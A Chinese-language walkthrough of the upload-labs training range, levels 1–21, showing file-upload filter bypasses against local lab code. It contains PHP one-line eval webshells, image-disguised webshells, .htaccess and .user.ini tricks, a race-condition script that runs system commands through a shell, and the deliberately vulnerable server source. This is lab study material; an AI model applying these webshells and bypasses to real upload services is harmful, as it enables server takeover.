写在最前:怎么搭建和工具最基本的安装和使用【bp和蚁剑】就不说了,网上有很多教程,这里讲一下如何直接用127.0.0.1进行抓包【建议使用Firefox】:打开设置,搜索网络代理,按下图进行配置即可,这样如果bp拦截已开的话可以直接抓到包,算是最简单的一种方法了。
然后这里面的大部分题目现在基本上已经灭绝了,很多都是很老的环境或者PHP版本,现在考的更多是综合题目,写这篇算是再长长见识,考古一下看看哪些是自己不知道的。因此这里有较多题目是我未能复现出来的,也没必要专门为了一个很老的环境下的漏洞去配置很久,权当是拓展视野即可。

Level1
先传一个文件看看,然后发现有前端校验,那么就传一个正常图片的后缀再bp抓包修改一下,或者可以直接浏览器禁用前端:


然后这里可以直接forward,bp还会抓到上传的图片的文件位置,我们将这个URL输入蚁剑连接即可:

Level2
这里是MIME检查,如果按照第一关的做法来做的话就是改后缀而不是MIME了,所以这里传一个php文件:
然后对content-type的内容进行修改,改成image/png或者image/jpeg

php
<?=eval($_POST[1]);?> //这里是分号但我图中写太快了变成冒号了
然后发包,同时bp里面会抓到上传图片的所在位置:

然后我们蚁剑连接一下就可以了:

Level3
【这里其实有问题,因为我是phpstudy部署的upload-lab,然后这里涉及到了版本问题,如果要进行配置可参考该博主文章:phpstudy的apache服务器无法解析运行以.php5,.phtml等非.php后缀的文件的解决方法,直接在末尾添加就行了,然后这里给出我的路径:D:\phpstudy_pro\Extensions\Apache2.4.39\conf
在该目录下找到httpd.conf在最后面添加保存,最后重启服务就行】
试了一下,我们传的php后缀被检测出来了,这里就有了后端校验:

但是我们可以稍微修改一下改成phtml【或者之前配置的等价拓展名】,然后连接蚁剑,这样我们就成了:

Level4
过滤了更多东西,同时源码里面还显示过滤了.ini,但是提示里没看到:
这里可以用.htaccess来做,如果想了解.user.ini和.htaccess的话可参考我之前写的文章:htaccess、user.ini.同样这里也要更改默认的配置文件:

将AllowOverride 后面的 none改为all,后面再重启apche服务即可。
先构造.htaccess内容:
php
<FilesMatch "a.png"> //如果请求的文件名匹配正则表达式"a.png",就应用括号内的规则
SetHandler application/x-httpd-php
</FilesMatch> //结束这个条件块
上传之后再传我们的木马,但是不知道为什么连蚁剑时连不上,提示说是返回数据为空,a.png传是传了但可能还是配置有问题啥的.htaccess没生效,所以这里就复现失败了,然后我看网上好多说用.php..来进行绕过的【Windows系统特性绕过】,但是题目源码看一下会删掉文件末尾的点:
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
而且真传的话也会显示此文件不允许上传,所以这里就做不下去了,只能往下走了。
Level5
这里正常做法就是传一个.user.ini,写入内容为:
php
auto_prepend_file=a.png
然后再在a.png中写入我们的一句话木马上传即可,这里同样我也是不行,拼尽全力无法战胜..
Level6
这里面源码除了对.user.ini 和.htaccess的过滤外还有一点很大的区别,可以对比一下:
php
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
这样的话很明显就能看到没有用到大小写转换函数,那么在这里我们就能对其进行大小写绕过,将最后的php改成PHp即可
Level7
查看源码如下:
php
$file_name = $_FILES['upload_file']['name'];
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
这里可以看到去掉了trim函数【首位去空】,就比如说我们构造1.php ,最后面有一个空格的话那么不在黑名单内,就可以绕过过滤,但是依旧我的环境有问题,这里又不行了,权当作是做文件上传类型的题目时的一个思路吧
Level8
这里可以看到删掉了deldot(),没有过滤文件末尾的. 因此可以进行绕过,终于又连上了/(ㄒoㄒ)/~~
php
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空

Level9
php
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = trim($file_ext); //首尾去空
可以发现缺少了$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
Windows 系统中,::$DATA 是 NTFS 文件系统中的一种数据流标识 ,用于访问文件的主要数据流, 如果我们在一个正常的文件名后面加上::$DATA那么依旧是正常读写文件,最后加的只是作为数据流表示而存在,因此可以加上这个数据流标识来绕过黑名单,但是需要注意的是最后蚁剑进行连接时要将这个给去掉:

这是因为**::$DATA 是 Windows 用来骗过滤的"马甲",不是文件真实路径的一部分。**
蚁剑连的是 HTTP 协议,不是 NTFS 文件系统, 即Apache/Nginx 不会像 Windows 内核那样解析 ::$DATA。
Level10
php
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
这里需要注意的是代码的执行顺序:这里先是执行deldot后面再是trim,而在deldot()是从字符串的尾部开始,从后向前删除点.,直到该字符串的末尾字符不是.为止。这里的关键是deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来,最后trim又会删掉空格,因此可以构造1.php. .【点空格点】,那么最后生成的就是1.php.不在黑名单内可以绕过过滤,但不知道为啥又爆掉了....
Level11
php
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess","ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
这里是对拓展名进行替换成空,但是只检测了一次,因此可以构造双写绕过如a.pphphp:

Level12、13
这里面源码注释一下,要不然有点懵:
php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
// 白名单:只允许上传jpg、png、gif
$ext_arr = array('jpg','png','gif');
// 这行是在取文件扩展名
// strrpos() 找最后一个点的位置,substr() 从这个位置+1开始截取
// 比如上传 "shell.jpg" → 返回 "jpg"
$file_ext = substr($_FILES['upload_file']['name'], strrpos($_FILES['upload_file']['name'], ".") + 1);
// 检查扩展名是否在白名单里
if(in_array($file_ext, $ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name']; // 临时文件
/******************* 漏洞核心 *******************/
// $_GET['save_path'] 用户通过URL参数完全控制
// 后面拼接了:/ + 随机数 + 时间戳 + . + 扩展名
// 例如:?save_path=../upload
// $img_path = ../upload/99_20250212123456.jpg
$img_path = $_GET['save_path'] . "/" . rand(10, 99) . date("YmdHis") . "." . $file_ext;
/***********************************************/
// move_uploaded_file(临时文件, 目标路径)
if(move_uploaded_file($temp_file, $img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
漏洞点:$_GET['save_path'] 用户可控,且直接拼接到文件路径里,没有任何过滤。
比如我们构造GET参数: ?save_path=../upload/shell.php%00,那么最终路径如下:
../upload/shell.php%00/99_20250212123456.jpg 但是%00会进行截断,相当于只有shell.php【%00 是空字节,老PHP里文件操作函数看到它就认为字符串结束了】
但是当PHP >= 5.3.4:文件操作函数不再把 %00 当结束符,%00 变成普通字符,文件名不允许有空字节 → 保存失败,因此这道题也是考个谷,包括Level13POST传参也一样。
Level14
这里就看提示了:

说明我们不能直接搞一个txt写个webshell再改成png这种,如果想简单一点就找个正常图片010编辑一下,然后下面是一般的开头字节:
JPEG/JFIF 0xFF 0xD8
PNG 0x89 0x50
GIF 0x47 0x49
BMP 0x42 0x4D
我这里010编辑的:

如果要找图片的URL可以右键图片选择复制图像链接就行了,然后访问给我们的文件包含漏洞页面:

那以记事本形式打开我们的图片翻到最后看到是两个??php,所以这里再改一下进行上传然后发现还是不行【加在最后还是太不稳定了】因此这里采用"面向结果的编程":

另存为aaa.php,然后后面复制链接的时候发现变成了jpg,但是我们可以利用给我们的文件包含点进行命令执行或者连接蚁剑:

Level15
这里提示说本题使用getimagesize() ,这是 PHP 用来**判断"这是不是一张真的图片"**的函数。
如果是真的图片的话返回如下:
0 =\> 宽度, 1 =\> 高度, 2 =\> 图片类型常量(1=GIF,2=JPG,3=PNG...), 'mime' =\> 'image/jpeg'
getimagesize('文件') 的逻辑是:
-
读文件头几个字节
-
比对已知图片格式的签名
-
匹配上了 → 这就是个图片
-
匹配不上 → 这不是图片
那么这里我们可以使用非常经典的GIF89a,php识别为GIF图片后就能执行我们的图片马:
php
GIF89a
<?php eval($_POST[1]);?>

Level16
提示使用exif_imagetype()检查是否为图片文件,也跟上面那个函数类似,定义如下:
exif_imagetype()是PHP扩展模块(EXIF)提供的图像类型检测函数,其核心工作流程并非基于文件扩展名或MIME标头,而是直接读取文件头部特定偏移量的二进制签名,同样也可以使用上一关的方法来进行getshell,但是得打开php的xif拓展才行:


Level17
这里是二次渲染,可以详细内容可以参考我之前写的跟二次渲染有关的题目:JPG二次渲染、PNG二次渲染,因为png二次渲染的成功率高一点,所以一般建议用png进行。
这里看了网上别的大佬写的,可以不跑脚本直接用010编辑,找渲染之前和渲染之后都不变的地方插入木马,但是不知道为啥我这里除了开头不能改的这块其他全都不一样:

那就按照原来的方法脚本生成,这里就跳过了,重点讲下下面两关
Level18
php
$is_upload = false; // 设置上传状态为失败
$msg = null; // 初始化提示信息为空
// 判断是否点击了提交按钮
if(isset($_POST['submit'])){
// 允许上传的文件扩展名白名单
$ext_arr = array('jpg','png','gif');
// 获取上传文件的原始名称(客户端文件名,可控)
$file_name = $_FILES['upload_file']['name'];
// 获取上传文件的临时文件路径(服务器端)
$temp_file = $_FILES['upload_file']['tmp_name'];
// 从文件全名中截取扩展名,strrpos获取最后一个.的位置,substr截取后面部分
// 漏洞点:完全信任客户端文件名,可以被伪造
$file_ext = substr($file_name,strrpos($file_name,".")+1);
// 拼接最终存储路径:上传目录 + 原始文件名
$upload_file = UPLOAD_PATH . '/' . $file_name;
// 先移动临时文件到上传目录(漏洞:文件已经存在于服务器了)
if(move_uploaded_file($temp_file, $upload_file)){
// 检查扩展名是否在白名单中(现在才检查,存在时间差)
if(in_array($file_ext,$ext_arr)){
// 如果在白名单中,生成随机新文件名:2位随机数 + 时间 + 原扩展名
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
// 将文件重命名为随机文件名
rename($upload_file, $img_path);
$is_upload = true; // 上传成功
}else{
// 如果扩展名不在白名单中
$msg = "只允许上传.jpg|.png|.gif类型文件!";
// 删除已经上传的文件(漏洞:文件已经存在了一段时间)
unlink($upload_file);
}
}else{
$msg = '上传出错!'; // 文件移动失败
}
}
存在的漏洞:
-
先上传后检查:文件已经存在于服务器后才检查类型,存在时间窗口
-
完全信任客户端:文件扩展名直接从客户端获取,可以伪造
-
条件竞争 :从
move_uploaded_file到unlink之间存在时间差,可以在此期间访问文件 -
unlink可能失败:如果文件被占用或权限问题,可能删除失败
因此这里我们采用条件竞争的方法,先写我们的一句话木马,命名为shell.php:
php
<?php eval($_POST['cmd']);?>
然后开启bp拦截直接上传shell.php,发送到intruder,按添加一个新的爆破点选择为空,然后选择一直请求:

然后这里的话还要在设置里面改个线程,我是直接拉满了:

然后的话我们还需要个python脚本一直请求访问这个文件:
php
import requests
import time
def main():
url = 'http://upload:8099/upload/shell.php' //这里找自己的路径
# 需要发送密码和执行命令来验证
data = {'cmd': 'system("whoami");'} # 密码是cmd,执行whoami命令
print("[*] 开始监控shell...")
count = 0
while True:
count += 1
try:
# 使用POST请求,发送密码和命令
res = requests.post(url, data=data, timeout=1)
# 如果返回200且有内容(命令执行结果)
if res.status_code == 200 and res.text.strip():
print(f"\n[✓] 成功!第{count}次访问")
print(f"[✓] 当前用户: {res.text.strip()}")
print("[✓] Shell可用!密码: cmd")
break
else:
print(f"\r[*] 第{count}次访问 - 状态码:{res.status_code}", end="", flush=True)
except Exception as e:
print(f"\r[*] 第{count}次访问 - 连接中...", end="", flush=True)
time.sleep(0.01) # 10ms访问一次
if __name__ == '__main__':
main()
然后我们就可以开始start-attack,同时在vscode跑我们的脚本,结果如下:

但是有个问题是我连不上蚁剑,按照源码里给的代码来看路径是没有问题的,而且浏览器里也能显示有这个文件,并且不是白名单跟时间戳也没关系,但就是这么显示:

我没招了.....
Level19
源码有些问题,做如下更改:
php
function setDir( $dir ){
if( !is_writable( $dir ) ){
return "DIRECTORY_FAILURE";
} else {
$this->cls_upload_dir = $dir.'/';
return 1;
}
}
php
$imgFileName =time();
$u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
$this->cls_filename = $file_name;
$this->cls_tmp_filename = $tmp_file_name;
$this->cls_filesize = $file_size;
$this->cls_file_rename_to = $file_rename_to;
}
function upload( $dir ){
$ret = $this->isUploadedFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->setDir( $dir );
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkExtension();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
$ret = $this->checkSize();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// if flag to check if the file exists is set to 1
if( $this->cls_file_exists == 1 ){
$ret = $this->checkFileExists();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, we are ready to move the file to destination
$ret = $this->move();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
// check if we need to rename the file
if( $this->cls_rename_file == 1 ){
$ret = $this->renameFile();
if( $ret != 1 ){
return $this->resultUpload( $ret );
}
}
// if we are here, everything worked as planned :)
return $this->resultUpload( "SUCCESS" );
}
function move(){
if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
return "MOVE_UPLOADED_FILE_FAILURE";
} else {
return 1;
}
}
function renameFile(){
// if no new name was provided, we use
if( $this->cls_file_rename_to == '' ){
$allchar = "abcdefghijklnmopqrstuvwxyz" ;
$this->cls_file_rename_to = "" ;
mt_srand (( double) microtime() * 1000000 );
for ( $i = 0; $i<8 ; $i++ ){
$this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ;
}
}
// Remove the extension and put it back on the new file name
$extension = strrchr( $this->cls_filename, "." );
$this->cls_file_rename_to .= $extension;
if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
return "RENAME_FAILURE";
} else {
return 1;
}
}
这里关键就是几个函数在干什么:
php
1. isUploadedFile() - 检查是否是上传文件
2. setDir() - 设置目录
3. checkExtension() - 检查扩展名(在白名单内吗?)
4. checkSize() - 检查大小
5. checkFileExists() - 检查文件是否存在
6. move() - 移动文件
7. renameFile() - 重命名文件
总的来说就是先将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在,文件上传之后又对其进行了重命名。网上看别的大佬说涉及到了Apache解析漏洞【Apache解析文件时,是从右向左判断的】
php
# Apache的mime.types配置
AddType application/x-httpd-php .php .phtml .php5
# 默认只解析这些,其他都不解析
example.php.rar.jpg
└──┬──┘
先看.jpg,不认识
└─────┬──────┘
再看.rar,还不认识
└────────┬────────┘
最后看.php,认识!当作PHP执行
这里也是打时间差进行条件竞争,但是同样用phpstudy的环境做不出来,若有需要可移步:2025最新 upload-labs(1~21关) 靶场通关,超详细保姆级
Level20
php
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = $_POST['save_name'];
$file_ext = pathinfo($file_name,PATHINFO_EXTENSION);
if(!in_array($file_ext,$deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
}else{
$msg = '上传出错!';
}
}else{
$msg = '禁止保存为该类型文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这里看着好像有挺多方法的,但是我尝试了一下发现不行,就比如说这样:

这里上传的文件命名是以保存的名称来看的,改成PHp后发送保存的名称,然后这里又有一个问题出现了:保存的名称已经是PHp形式但是连不上蚁剑,然后浏览器访问却显示500,可能还是环境配置有问题:

后面再去找别的方法来做,看到这么一个:
move_uploaded_file()有这么一个特性,会忽略掉文件末尾的 /.
那么我们就将jpg改为php/.然后再次尝试,但是到这里的时候我发现了一个问题,连接蚁剑时最后一面还有一杠,然后我当时连的时候是没有的,于是我又按我之前的方法试了一遍发现就可以了:

如果按/.方法做的话结果又不一样了:

然后直接访问不管加不加/都能成功访问:


这就很奇怪了....后面又重新试了一下第一种方法,那么很难绷的事情就出现了:

问了LLM之后的回答也是仅供参考:
(一)Apache处理程序映射的初始化
某些Apache模块(如mod_php)在首次遇到新的扩展名时,可能需要加载额外的配置或动态模块。对于标准扩展名(如.php),处理程序早已加载;但对于非标准变体(如.Php),Apache可能需要时间解析或可能触发错误后回退。
(二)错误后的自动恢复机制
若首次访问因某种原因导致500(如PHP编译错误),Apache可能将该文件标记为"有问题",但在后续请求中,若文件未变化,可能经过一定次数的尝试后,Apache尝试重新执行,或者PHP的OPcache超时后重新编译,从而成功。
Level21
关键代码:
php
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
} else {
$file_name = reset($file) . '.' . $file[count($file) - 1];
// 后续移动文件...
}
第一,若**$_POST['save_name']** 存在且不为空,则**$file** 取自该值;否则取自上传文件的原始名**$_FILES['upload_file']['name']。**
第二,检查**$file** 是否为数组。若不是数组,则通过**explode('.', strtolower($file))** 将其转换为数组,分割符为点号。这意味着正常的字符串型**save_name** 会被拆分成多个片段,例如"shell.php.jpg"将变成**['shell', 'php', 'jpg']。**
第三,若**$file** 本身就是数组,则跳过**explode()** 步骤,直接使用该数组作为文件名各部分的容器。
第四,取数组最后一个元素**end($file)** 作为扩展名,进行后缀白名单检查(仅允许jpg/png/gif)。
第五,构造最终文件名:reset($file) (数组第一个元素)拼接点号再拼接**$file[count($file)-1]**(即最后一个元素,与扩展名相同)。注意这里没有拼接中间的元素。
这里便可以进行如下构造:

正常来讲的话最终文件名由 reset($file) . '.' . $file[count($file)-1] 决定。对于上述数组:reset($file) = 'shell.php',$file[count($file)-1]:count($file)=2,count-1=1,但索引1不存在,返回 NULL,拼接得 'shell.php.'。
这里 png 并没有直接出现在拼接结果中,因为 $file[count($file)-1] 取的是索引1,而非索引2,png只用于end()检查,不参与文件名构造,但不知道为什么还是显示文件上传失败,如果将pngd的索引位置改为1的话那就是shell.php.png,那么最终的形式为jpg,我们的一句话木马也就不会被解析,还是以后碰到了再看吧。